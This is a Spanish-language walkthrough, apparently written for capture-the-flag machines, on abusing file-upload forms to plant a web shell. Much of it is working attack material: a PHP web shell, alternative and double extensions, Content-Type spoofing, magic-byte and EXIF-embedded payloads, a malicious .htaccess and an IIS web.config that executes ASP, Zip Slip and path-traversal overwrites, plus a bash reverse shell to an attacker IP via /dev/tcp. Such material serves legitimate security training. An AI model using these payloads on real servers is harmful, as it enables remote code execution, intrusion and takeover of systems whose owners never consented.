Subida de ficheros maliciosos: cómo saltarse los filtros y conseguir una web shell
Bypass de filtros de subida: extensiones alternativas, Content-Type, magic bytes, .htaccess y web.config, y cómo encontrar el fichero para ejecutarlo.
Un formulario para subir una foto de perfil, un CV o un fichero adjunto es una de las entradas más frecuentes del catálogo: hay más de 40 máquinas con subida de ficheros maliciosos. El objetivo siempre es el mismo: que el servidor guarde un fichero tuyo en una carpeta servida por la web y que luego lo ejecute como código.
Antes de nada: tres preguntas
- ¿Qué lenguaje ejecuta el servidor? Mira las cabeceras (
X-Powered-By,Server), las extensiones de las páginas y los errores. PHP, ASP.NET (.aspx) y Java (.jsp) son los habituales. - ¿Dónde acaba el fichero? Sube una imagen normal y busca su ruta: en la respuesta, en el HTML de tu perfil o probando carpetas típicas (
/uploads/,/images/,/files/). Si no aparece, haz fuerza bruta de directorios. - ¿Qué comprueba el filtro? La extensión, el
Content-Type, el contenido o todo a la vez. Lo averiguas cambiando una sola cosa cada vez en Burp Repeater.
Una web shell mínima para probar:
<?php system($_GET['cmd']); ?>
curl 'http://objetivo.htb/uploads/shell.php?cmd=id'
Saltarse los filtros
Por extensión
Si el filtro es una lista negra (.php prohibido), prueba las extensiones que el servidor también ejecuta:
| Lenguaje | Extensiones alternativas |
|---|---|
| PHP | .phtml, .php3, .php4, .php5, .php7, .pht, .phar, .phps, .pgif, .inc |
| ASP.NET | .aspx, .ashx, .asmx, .asp, .cer, .config |
| Java | .jsp, .jspx, .jsw, .jsv, .war (si puedes desplegarlo) |
Y las variantes que confunden al filtro pero no al servidor:
shell.pHp # mayúsculas, si la comparación distingue
shell.php.jpg # doble extensión: Apache mal configurado ejecuta la primera
shell.jpg.php # el filtro mira si contiene ".jpg"
shell.php%00.jpg # byte nulo (PHP antiguo, < 5.3.4)
shell.php. # punto final (Windows lo quita al guardar)
shell.php::$DATA # flujo alternativo de NTFS (IIS)
Puedes probarlas todas a la vez con Intruder o con ffuf sobre la petición guardada de Burp.
Por Content-Type
Si el servidor solo mira la cabecera que manda el navegador, cámbiala:
Content-Disposition: form-data; name="foto"; filename="shell.php"
Content-Type: image/png
Por contenido (magic bytes)
Si comprueba que el fichero parece una imagen (con getimagesize(), finfo o similar), pon la cabecera de una imagen delante de tu código:
printf 'GIF89a;\n<?php system($_GET["cmd"]); ?>' > shell.gif.php
# o mete el código en los metadatos de una imagen real
exiftool -Comment='<?php system($_GET["cmd"]); ?>' foto.jpg -o shell.php.jpg
Truco
Si la web reprocesa la imagen (la redimensiona o la recomprime), el comentario EXIF desaparece. Hay herramientas que esconden el código en partes que sobreviven a la compresión (por ejemplo, en la paleta de un PNG o en ciertos bloques IDAT), pero antes busca otra vía: suele ser más fácil.
Cambiar las reglas del servidor
Si puedes subir ficheros de configuración a la carpeta de subidas:
# .htaccess (Apache): trata .xyz como PHP
AddType application/x-httpd-php .xyz
<!-- web.config (IIS): el propio fichero ejecuta ASP clásico -->
<configuration><system.webServer><handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule"
scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" />
</handlers><security><requestFiltering><fileExtensions>
<remove fileExtension=".config" /></fileExtensions><hiddenSegments>
<remove segment="web.config" /></hiddenSegments></requestFiltering></security>
</system.webServer></configuration>
<%@ Language=VBScript %><% Response.Write(CreateObject("WScript.Shell").Exec("cmd /c whoami").StdOut.ReadAll()) %>
El truco del web.config es la vía de entrada de Bounty.
Cuando la subida no ejecuta código
No siempre podrás subir código ejecutable, pero una subida casi siempre da algo:
- Combinarla con una LFI: sube una "imagen" con PHP dentro e inclúyela desde la LFI (
?page=../uploads/foto.jpg). - SVG con XXE o XSS: un
.svges XML; si el servidor lo procesa, prueba una XXE; si lo sirve a otros usuarios, un XSS. - Zip Slip: si sube un
.zipy lo descomprime, un nombre como../../var/www/html/shell.phpdentro del zip puede escribir fuera de la carpeta. - Ficheros que se procesan: ImageMagick, ExifTool, LibreOffice o un conversor a PDF que se ejecutan sobre lo que subes tienen sus propios CVE. Mira la versión y busca un CVE público.
- Sobrescribir algo: si controlas el nombre y no se sanea,
../en elfilenamepuede pisar un fichero de la aplicación o unauthorized_keys.
De la web shell a una shell
# escucha en tu equipo
nc -lvnp 4444
# lanza la reverse shell a través de la web shell (URL-encoded)
curl 'http://objetivo.htb/uploads/shell.phtml' --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'" -G
Tienes más payloads en reverse shells y cómo dejar la terminal cómoda en TTY. En Windows/IIS sube un .aspx (Kali trae uno en /usr/share/webshells/aspx/cmdasp.aspx) y lanza desde ahí nc.exe o PowerShell.
Errores típicos
- El fichero se sube pero da 404: la web le cambia el nombre (un hash o la fecha). Mira la respuesta completa y el HTML; si es un hash del contenido o del nombre, calcúlalo tú.
- Se descarga en vez de ejecutarse: esa carpeta no ejecuta PHP (un
.htaccessconphp_flag engine offo un servidor de estáticos delante). Busca otra ruta de escritura o usa la LFI. system()no devuelve nada: la función está desactivada (disable_functions). Pruebapassthru,shell_exec,proc_openo leephpinfo()para ver cuáles quedan.
Y después
Ya dentro como www-data o iis apppool, sigue con la checklist de post-explotación: en Linux, la guía de sudo, SUID y capabilities; en Windows, SeImpersonate y Potatoes.